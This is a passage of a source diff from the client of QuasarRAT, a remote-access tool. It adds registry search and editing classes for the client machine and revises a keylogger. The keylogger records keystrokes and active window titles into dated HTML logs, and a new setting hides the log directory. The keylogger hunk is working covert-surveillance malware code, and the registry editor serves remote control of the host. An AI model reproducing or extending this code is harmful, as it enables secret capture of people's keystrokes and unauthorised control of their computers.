* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegSeekerMatch.cs
|
||||
*/
|
||||
|
||||
[Serializable]
|
||||
public class RegSeekerMatch
|
||||
{
|
||||
public string Key { get; private set; }
|
||||
public List<RegValueData> Data { get; private set; }
|
||||
public bool HasSubKeys { get; private set; }
|
||||
|
||||
public RegSeekerMatch(string key, List<RegValueData> data, int subkeycount)
|
||||
{
|
||||
Key = key;
|
||||
Data = data;
|
||||
HasSubKeys = (subkeycount > 0);
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1})", Key, Data.ToString());
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,39 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Extensions;
|
||||
|
||||
namespace xClient.Core.Registry
|
||||
{
|
||||
[Serializable]
|
||||
public class RegValueData
|
||||
{
|
||||
public string Name { get; set; }
|
||||
public RegistryValueKind Kind { get; set; }
|
||||
public object Data { get; set; }
|
||||
|
||||
public RegValueData(string name, RegistryValueKind kind, object data)
|
||||
{
|
||||
Name = name;
|
||||
Kind = kind;
|
||||
Data = data;
|
||||
}
|
||||
|
||||
public string GetDataAsString()
|
||||
{
|
||||
return Kind.RegistryTypeToString(Data);
|
||||
}
|
||||
|
||||
public string GetKindAsString()
|
||||
{
|
||||
return Kind.RegistryTypeToString();
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return string.Format("({0}:{1}:{2})", Name, GetKindAsString(), GetDataAsString());
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,421 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Core.Extensions;
|
||||
|
||||
namespace xClient.Core.Registry
|
||||
{
|
||||
public class RegistryEditor
|
||||
{
|
||||
|
||||
#region CONSTANTS
|
||||
|
||||
#region RegistryKey
|
||||
|
||||
private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry";
|
||||
|
||||
#endregion
|
||||
|
||||
#region RegistryValue
|
||||
|
||||
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_VALUE_RENAME_ERROR = "Cannot rename value: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
|
||||
|
||||
#endregion
|
||||
|
||||
#endregion
|
||||
|
||||
#region RegistryKey
|
||||
/// <summary>
|
||||
/// Attempts to create the desired sub key to the specified parent.
|
||||
/// </summary>
|
||||
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
|
||||
/// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
|
||||
{
|
||||
name = "";
|
||||
try
|
||||
{
|
||||
RegistryKey parent = GetWritableRegistryKey(parentPath);
|
||||
|
||||
|
||||
//Invalid can not open parent
|
||||
if (parent == null)
|
||||
{
|
||||
errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Try to find available names
|
||||
int i = 1;
|
||||
string testName = String.Format("New Key #{0}", i);
|
||||
|
||||
while (parent.ContainsSubKey(testName))
|
||||
{
|
||||
i++;
|
||||
testName = String.Format("New Key #{0}", i);
|
||||
}
|
||||
name = testName;
|
||||
|
||||
using (RegistryKey child = parent.CreateSubKeySafe(name))
|
||||
{
|
||||
//Child could not be created
|
||||
if (child == null)
|
||||
{
|
||||
errorMsg = REGISTRY_KEY_CREATE_ERROR;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
//Child was successfully created
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete the desired sub-key from the specified parent.
|
||||
/// </summary>
|
||||
/// <param name="name">The name of the sub-key to delete.</param>
|
||||
/// <param name="parentPath">The path to the parent for which to delete the sub-key on.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryKey parent = GetWritableRegistryKey(parentPath);
|
||||
|
||||
//Invalid can not open parent
|
||||
if (parent == null)
|
||||
{
|
||||
errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Child does not exist
|
||||
if (!parent.ContainsSubKey(name))
|
||||
{
|
||||
errorMsg = "The registry: " + name + " does not exist in: " + parentPath;
|
||||
//If child does not exists then the action has already succeded
|
||||
return true;
|
||||
}
|
||||
|
||||
bool success = parent.DeleteSubKeyTreeSafe(name);
|
||||
|
||||
//Child could not be deleted
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_KEY_DELETE_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Child was successfully deleted
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename the desired key.
|
||||
/// </summary>
|
||||
/// <param name="oldName">The name of the key to rename.</param>
|
||||
/// <param name="newName">The name to use for renaming.</param>
|
||||
/// <param name="parentPath">The path of the parent for which to rename the key.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
RegistryKey parent = GetWritableRegistryKey(parentPath);
|
||||
|
||||
//Invalid can not open parent
|
||||
if (parent == null)
|
||||
{
|
||||
errorMsg = "You do not have access to open registry: " + parentPath + ", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Child does not exist
|
||||
if (!parent.ContainsSubKey(oldName))
|
||||
{
|
||||
errorMsg = "The registry: " + oldName + " does not exist in: " + parentPath;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool success = parent.RenameSubKeySafe(oldName, newName);
|
||||
|
||||
//Child could not be renamed
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_KEY_RENAME_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Child was successfully renamed
|
||||
errorMsg = "";
|
||||
return true;
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region RegistryValue
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to create the desired value for the specified parent.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The path to the key for which to create the registry value on.</param>
|
||||
/// <param name="kind">The type of the registry value to create.</param>
|
||||
/// <param name="name">output parameter that holds the name of the registry value that was create.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name, out string errorMsg)
|
||||
{
|
||||
name = "";
|
||||
try
|
||||
{
|
||||
RegistryKey key = GetWritableRegistryKey(keyPath);
|
||||
|
||||
//Invalid can not open key
|
||||
if (key == null)
|
||||
{
|
||||
errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Try to find available names
|
||||
int i = 1;
|
||||
string testName = String.Format("New Value #{0}", i);
|
||||
|
||||
while (key.ContainsValue(testName))
|
||||
{
|
||||
i++;
|
||||
testName = String.Format("New Value #{0}", i);
|
||||
}
|
||||
name = testName;
|
||||
|
||||
bool success = key.SetValueSafe(name, kind.GetDefault(), kind);
|
||||
|
||||
//Value could not be created
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_VALUE_CREATE_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value was successfully created
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete the desired registry value from the specified key.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The path to the key for which to delete the registry value on.</param>
|
||||
/// /// <param name="name">The name of the registry value to delete.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryKey key = GetWritableRegistryKey(keyPath);
|
||||
|
||||
//Invalid can not open key
|
||||
if (key == null)
|
||||
{
|
||||
errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value does not exist
|
||||
if (!key.ContainsValue(name))
|
||||
{
|
||||
errorMsg = "The value: " + name + " does not exist in: " + keyPath;
|
||||
//If value does not exists then the action has already succeded
|
||||
return true;
|
||||
}
|
||||
|
||||
bool success = key.DeleteValueSafe(name);
|
||||
|
||||
//Value could not be deleted
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_VALUE_DELETE_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value was successfully deleted
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename the desired registry value.
|
||||
/// </summary>
|
||||
/// <param name="oldName">The name of the registry value to rename.</param>
|
||||
/// <param name="newName">The name to use for renaming.</param>
|
||||
/// <param name="keyPath">The path of the key for which to rename the registry value.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||
public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
RegistryKey key = GetWritableRegistryKey(keyPath);
|
||||
|
||||
//Invalid can not open key
|
||||
if (key == null)
|
||||
{
|
||||
errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value does not exist
|
||||
if (!key.ContainsValue(oldName))
|
||||
{
|
||||
errorMsg = "The value: " + oldName + " does not exist in: " + keyPath;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool success = key.RenameValueSafe(oldName, newName);
|
||||
|
||||
//Value could not be renamed
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_VALUE_RENAME_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value was successfully renamed
|
||||
errorMsg = "";
|
||||
return true;
|
||||
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to change the value for the desired registry value for the
|
||||
/// specified key.
|
||||
/// </summary>
|
||||
/// <param name="value">The registry value to change to in the form of a
|
||||
/// RegValueData object.</param>
|
||||
/// <param name="keyPath">The path to the key for which to change the
|
||||
/// value of the registry value on.</param>
|
||||
/// <param name="errorMsg">output parameter that contians possible error message.</param>
|
||||
/// <returns>Returns boolean value for if the operation failed or succeded.</returns>
|
||||
public static bool ChangeRegistryValue(RegValueData value, string keyPath, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
RegistryKey key = GetWritableRegistryKey(keyPath);
|
||||
|
||||
//Invalid can not open key
|
||||
if (key == null)
|
||||
{
|
||||
errorMsg = "You do not have access to open registry: " + keyPath + ", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value does not exist
|
||||
if (!key.ContainsValue(value.Name))
|
||||
{
|
||||
errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath;
|
||||
return false;
|
||||
}
|
||||
|
||||
bool success = key.SetValueSafe(value.Name, value.Data, value.Kind);
|
||||
|
||||
//Value could not be created
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_VALUE_CHANGE_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value was successfully created
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
public static RegistryKey GetWritableRegistryKey(string keyPath)
|
||||
{
|
||||
RegistryKey key = RegistrySeeker.GetRootKey(keyPath);
|
||||
|
||||
if (key != null)
|
||||
{
|
||||
//Check if this is a root key or not
|
||||
if (key.Name != keyPath)
|
||||
{
|
||||
//Must get the subKey name by removing root and '\\'
|
||||
string subKeyName = keyPath.Substring(key.Name.Length + 1);
|
||||
|
||||
key = key.OpenWritableSubKeySafe(subKeyName);
|
||||
}
|
||||
}
|
||||
|
||||
return key;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,304 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Security;
|
||||
using Microsoft.Win32;
|
||||
using System.Threading;
|
||||
using xClient.Core.Extensions;
|
||||
|
||||
namespace xClient.Core.Registry
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted from CrackSoft's Reg Explore.
|
||||
* Reg Explore v1.1 (Release Date: June 24, 2011)
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This is a work that is not of the original. It
|
||||
* has been modified to suit the needs of another
|
||||
* application.
|
||||
* (This has been taken from Justin Yanke's branch)
|
||||
* First Modified by Justin Yanke on August 15, 2015
|
||||
* Second Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Unmodified Source:
|
||||
* https://regexplore.codeplex.com/SourceControl/latest#Registry/RegSearcher.cs
|
||||
*/
|
||||
|
||||
public class MatchFoundEventArgs : EventArgs
|
||||
{
|
||||
public RegSeekerMatch Match { get; private set; }
|
||||
|
||||
public MatchFoundEventArgs(RegSeekerMatch match)
|
||||
{
|
||||
Match = match;
|
||||
}
|
||||
}
|
||||
|
||||
public class SearchCompletedEventArgs : EventArgs
|
||||
{
|
||||
public List<RegSeekerMatch> Matches { get; private set; }
|
||||
|
||||
public SearchCompletedEventArgs(List<RegSeekerMatch> matches)
|
||||
{
|
||||
Matches = matches;
|
||||
}
|
||||
}
|
||||
|
||||
public class RegistrySeeker
|
||||
{
|
||||
#region CONSTANTS
|
||||
|
||||
/// <summary>
|
||||
/// An array containing all of the root keys for the registry.
|
||||
/// </summary>
|
||||
public static readonly RegistryKey[] ROOT_KEYS = new RegistryKey[]
|
||||
{
|
||||
Microsoft.Win32.Registry.ClassesRoot,
|
||||
Microsoft.Win32.Registry.CurrentUser,
|
||||
Microsoft.Win32.Registry.LocalMachine,
|
||||
Microsoft.Win32.Registry.Users,
|
||||
Microsoft.Win32.Registry.CurrentConfig
|
||||
};
|
||||
|
||||
#endregion
|
||||
|
||||
#region Fields
|
||||
|
||||
/// <summary>
|
||||
/// Fired when the RegistrySeeker has finished searching through the registry.
|
||||
/// </summary>
|
||||
public event EventHandler<SearchCompletedEventArgs> SearchComplete;
|
||||
|
||||
/// <summary>
|
||||
/// Fired when a RegistryKey is found.
|
||||
/// </summary>
|
||||
public event EventHandler<MatchFoundEventArgs> MatchFound;
|
||||
|
||||
/// <summary>
|
||||
/// The worker thread that does the searching/traversal through the registry.
|
||||
/// </summary>
|
||||
private BackgroundWorker searcher;
|
||||
|
||||
/// <summary>
|
||||
/// The lock used to ensure thread safety.
|
||||
/// </summary>
|
||||
private readonly object locker = new object();
|
||||
|
||||
/// <summary>
|
||||
/// The search arguments to use for customizable registry searching.
|
||||
/// </summary>
|
||||
public RegistrySeekerParams searchArgs;
|
||||
|
||||
/// <summary>
|
||||
/// The list containing the matches found during the search.
|
||||
/// </summary>
|
||||
private List<RegSeekerMatch> matches;
|
||||
|
||||
/// <summary>
|
||||
/// The queue of registry key paths to analyze further.
|
||||
/// </summary>
|
||||
private Queue<string> pendingKeys;
|
||||
|
||||
#endregion
|
||||
|
||||
public RegistrySeeker()
|
||||
{
|
||||
searcher = new BackgroundWorker() { WorkerSupportsCancellation = true, WorkerReportsProgress = true };
|
||||
|
||||
searcher.DoWork += new DoWorkEventHandler(worker_DoWork);
|
||||
searcher.RunWorkerCompleted += new RunWorkerCompletedEventHandler(worker_RunWorkerCompleted);
|
||||
searcher.ProgressChanged += new ProgressChangedEventHandler(worker_ProgressChanged);
|
||||
}
|
||||
|
||||
public void Start(string rootKeyName)
|
||||
{
|
||||
if (rootKeyName != null && rootKeyName.Length > 0)
|
||||
{
|
||||
RegistryKey root = GetRootKey(rootKeyName);
|
||||
|
||||
if (root != null)
|
||||
{
|
||||
//Check if this is a root key or not
|
||||
if (root.Name != rootKeyName)
|
||||
{
|
||||
//Must get the subKey name by removing root and '\\'
|
||||
string subKeyName = rootKeyName.Substring(root.Name.Length + 1);
|
||||
root = root.OpenReadonlySubKeySafe(subKeyName);
|
||||
}
|
||||
}
|
||||
|
||||
// Make sure that a root was found
|
||||
if (root != null)
|
||||
Start(new RegistrySeekerParams(root));
|
||||
}
|
||||
}
|
||||
|
||||
public void Start(RegistrySeekerParams args)
|
||||
{
|
||||
searchArgs = args;
|
||||
|
||||
matches = new List<RegSeekerMatch>();
|
||||
searcher.RunWorkerAsync();
|
||||
}
|
||||
|
||||
void worker_ProgressChanged(object sender, ProgressChangedEventArgs e)
|
||||
{
|
||||
MatchFound(this, new MatchFoundEventArgs((RegSeekerMatch)e.UserState));
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
if (searcher.IsBusy)
|
||||
{
|
||||
lock (locker)
|
||||
{
|
||||
searcher.CancelAsync();
|
||||
// Wait until it is done... Similar to synchronous stop.
|
||||
Monitor.Wait(locker);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void worker_RunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e)
|
||||
{
|
||||
SearchComplete(this, new SearchCompletedEventArgs(matches));
|
||||
}
|
||||
|
||||
void worker_DoWork(object sender, DoWorkEventArgs e)
|
||||
{
|
||||
// Get root registrys
|
||||
if (searchArgs.RootKey == null)
|
||||
{
|
||||
foreach (RegistryKey key in RegistrySeeker.ROOT_KEYS)
|
||||
//Just need root key so process it
|
||||
ProcessKey(key, key.Name);
|
||||
}
|
||||
else
|
||||
{
|
||||
//searching for subkeys to root key
|
||||
Search(searchArgs.RootKey);
|
||||
}
|
||||
}
|
||||
|
||||
void Search(string rootKeyName)
|
||||
{
|
||||
try
|
||||
{
|
||||
using (RegistryKey key = GetRootKey(rootKeyName).OpenReadonlySubKeySafe(rootKeyName))
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
Search(key);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{ }
|
||||
}
|
||||
|
||||
void Search(RegistryKey rootKey)
|
||||
{
|
||||
string rootKeyName = rootKey.Name.Substring(rootKey.Name.LastIndexOf('\\') + 1);
|
||||
|
||||
RegistryKey subKey = null;
|
||||
string keyName;
|
||||
int cropIndex = rootKey.Name.Length + 1;
|
||||
pendingKeys = new Queue<string>(rootKey.GetSubKeyNames());
|
||||
|
||||
while (pendingKeys.Count > 0)
|
||||
{
|
||||
if (searcher.CancellationPending)
|
||||
{
|
||||
lock (locker)
|
||||
{
|
||||
// Allow for a synchronous stop.
|
||||
Monitor.Pulse(locker);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
keyName = pendingKeys.Dequeue();
|
||||
|
||||
try
|
||||
{
|
||||
subKey = rootKey.OpenSubKey(keyName);
|
||||
}
|
||||
catch (SecurityException)
|
||||
{
|
||||
subKey = null;
|
||||
}
|
||||
finally
|
||||
{
|
||||
ProcessKey(subKey, keyName);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessKey(RegistryKey key, string keyName)
|
||||
{
|
||||
if (searcher.CancellationPending)
|
||||
return;
|
||||
|
||||
MatchData(key, keyName);
|
||||
}
|
||||
|
||||
private void MatchData(RegistryKey key, string keyName)
|
||||
{
|
||||
if (key != null)
|
||||
{
|
||||
List<RegValueData> values = new List<RegValueData>();
|
||||
|
||||
foreach (string valueName in key.GetValueNames())
|
||||
{
|
||||
RegistryValueKind valueType = key.GetValueKind(valueName);
|
||||
object valueData = key.GetValue(valueName);
|
||||
values.Add(new RegValueData(valueName, valueType, valueData));
|
||||
}
|
||||
|
||||
AddMatch(keyName, values, key.SubKeyCount);
|
||||
}
|
||||
else
|
||||
{
|
||||
AddMatch(keyName, null, 0);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private void AddMatch(string key, List<RegValueData> values, int subkeycount)
|
||||
{
|
||||
RegSeekerMatch match = new RegSeekerMatch(key, values, subkeycount);
|
||||
|
||||
if (MatchFound != null)
|
||||
searcher.ReportProgress(0, match);
|
||||
|
||||
matches.Add(match);
|
||||
|
||||
}
|
||||
|
||||
public static RegistryKey GetRootKey(string subkey_fullpath)
|
||||
{
|
||||
string[] path = subkey_fullpath.Split('\\');
|
||||
|
||||
switch (path[0]) // <== root;
|
||||
{
|
||||
case "HKEY_CLASSES_ROOT":
|
||||
return Microsoft.Win32.Registry.ClassesRoot;
|
||||
case "HKEY_CURRENT_USER":
|
||||
return Microsoft.Win32.Registry.CurrentUser;
|
||||
case "HKEY_LOCAL_MACHINE":
|
||||
return Microsoft.Win32.Registry.LocalMachine;
|
||||
case "HKEY_USERS":
|
||||
return Microsoft.Win32.Registry.Users;
|
||||
case "HKEY_CURRENT_CONFIG":
|
||||
return Microsoft.Win32.Registry.CurrentConfig;
|
||||
default:
|
||||
/* If none of the above then the key must be invalid */
|
||||
throw new Exception("Invalid rootkey, could not be found");
|
||||
}
|
||||
}
|
||||
|
||||
public bool IsBusy
|
||||
{
|
||||
get { return searcher.IsBusy; }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using xClient.Enums;
|
||||
|
||||
namespace xClient.Core.Registry
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* This code is created by Justin Yanke and has only been
|
||||
* modified partially.
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Modified by StingRaptor on January 21, 2016
|
||||
* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
||||
* Original Source:
|
||||
* https://github.com/quasar/QuasarRAT/blob/regedit/Client/Core/Registry/RegistrySeekerParams.cs
|
||||
*/
|
||||
|
||||
public class RegistrySeekerParams
|
||||
{
|
||||
public RegistryKey RootKey { get; set; }
|
||||
|
||||
public RegistrySeekerParams(RegistryKey registryKey)
|
||||
{
|
||||
this.RootKey = registryKey;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -4,10 +4,11 @@ using System.Diagnostics;
|
|||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Data;
|
||||
using xClient.Core.Helper;
|
||||
using xClient.Core.MouseKeyHook;
|
||||
using xClient.Core.Networking;
|
||||
using Timer = System.Timers.Timer;
|
||||
using xClient.Config;
|
||||
|
||||
namespace xClient.Core.Utilities
|
||||
{
|
||||
|
@ -30,7 +31,7 @@ namespace xClient.Core.Utilities
|
|||
/// <summary>
|
||||
/// The directory where the log files will be saved.
|
||||
/// </summary>
|
||||
public static string LogDirectory { get { return Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; } }
|
||||
public static string LogDirectory { get { return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME); } }
|
||||
|
||||
private readonly Timer _timerFlush;
|
||||
private StringBuilder _logFileBuffer;
|
||||
|
@ -99,7 +100,6 @@ namespace xClient.Core.Utilities
|
|||
private void Unsubscribe()
|
||||
{
|
||||
if (_mEvents == null) return;
|
||||
|
||||
_mEvents.KeyDown -= OnKeyDown;
|
||||
_mEvents.KeyUp -= OnKeyUp;
|
||||
_mEvents.KeyPress -= OnKeyPress;
|
||||
|
@ -113,7 +113,7 @@ namespace xClient.Core.Utilities
|
|||
{
|
||||
_lastWindowTitle = activeWindowTitle;
|
||||
_logFileBuffer.Append(@"<p class=""h""><br><br>[<b>"
|
||||
+ activeWindowTitle + " - "
|
||||
+ KeyloggerHelper.Filter(activeWindowTitle) + " - "
|
||||
+ DateTime.Now.ToString("HH:mm")
|
||||
+ "</b>]</p><br>");
|
||||
}
|
||||
|
@ -237,7 +237,7 @@ namespace xClient.Core.Utilities
|
|||
|
||||
private void timerFlush_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
|
||||
{
|
||||
if (_logFileBuffer.Length > 0 && !ClientData.Disconnect)
|
||||
if (_logFileBuffer.Length > 0 && !QuasarClient.Exiting)
|
||||
WriteFile();
|
||||
}
|
||||
|
||||
|
@ -245,51 +245,49 @@ namespace xClient.Core.Utilities
|
|||
{
|
||||
bool writeHeader = false;
|
||||
|
||||
string fileName = LogDirectory + DateTime.Now.ToString("MM-dd-yyyy");
|
||||
string filename = Path.Combine(LogDirectory, DateTime.Now.ToString("MM-dd-yyyy"));
|
||||
|
||||
try
|
||||
{
|
||||
if (!Directory.Exists(LogDirectory))
|
||||
Directory.CreateDirectory(LogDirectory);
|
||||
DirectoryInfo di = new DirectoryInfo(LogDirectory);
|
||||
|
||||
if (!File.Exists(fileName))
|
||||
if (!di.Exists)
|
||||
di.Create();
|
||||
|
||||
if (Settings.HIDELOGDIRECTORY)
|
||||
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
|
||||
|
||||
if (!File.Exists(filename))
|
||||
writeHeader = true;
|
||||
|
||||
using (FileStream fileStream = new FileStream(fileName, FileMode.Append, FileAccess.Write))
|
||||
StringBuilder logFile = new StringBuilder();
|
||||
|
||||
if (writeHeader)
|
||||
{
|
||||
using (StreamWriter sw = new StreamWriter(fileStream))
|
||||
{
|
||||
try
|
||||
{
|
||||
if (writeHeader)
|
||||
{
|
||||
sw.WriteLine("<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
|
||||
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br><br>");
|
||||
logFile.Append(
|
||||
"<meta http-equiv='Content-Type' content='text/html; charset=utf-8' />Log created on " +
|
||||
DateTime.Now.ToString("dd.MM.yyyy HH:mm") + "<br><br>");
|
||||
|
||||
// Write out our coloring scheme that will be used by the elements
|
||||
// generated by the logger, and display paragaphs without line breaks
|
||||
// h = Denotes highlighted text (blue color).
|
||||
sw.WriteLine("<style>.h { color: 0000ff; display: inline; }</style>");
|
||||
logFile.Append("<style>.h { color: 0000ff; display: inline; }</style>");
|
||||
|
||||
if (_logFileBuffer.Length > 0)
|
||||
sw.Write(_logFileBuffer);
|
||||
|
||||
_lastWindowTitle = string.Empty;
|
||||
}
|
||||
else
|
||||
sw.Write(_logFileBuffer);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
_lastWindowTitle = string.Empty;
|
||||
}
|
||||
|
||||
if (_logFileBuffer.Length > 0)
|
||||
{
|
||||
|
||||
logFile.Append(_logFileBuffer);
|
||||
}
|
||||
|
||||
FileHelper.WriteLogFile(filename, logFile.ToString());
|
||||
|
||||
logFile.Clear();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
_logFileBuffer = new StringBuilder();
|
||||
_logFileBuffer.Clear();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace xClient.Enums
|
||||
{
|
||||
/*
|
||||
* Derived and Adapted By Justin Yanke
|
||||
* github: https://github.com/yankejustin
|
||||
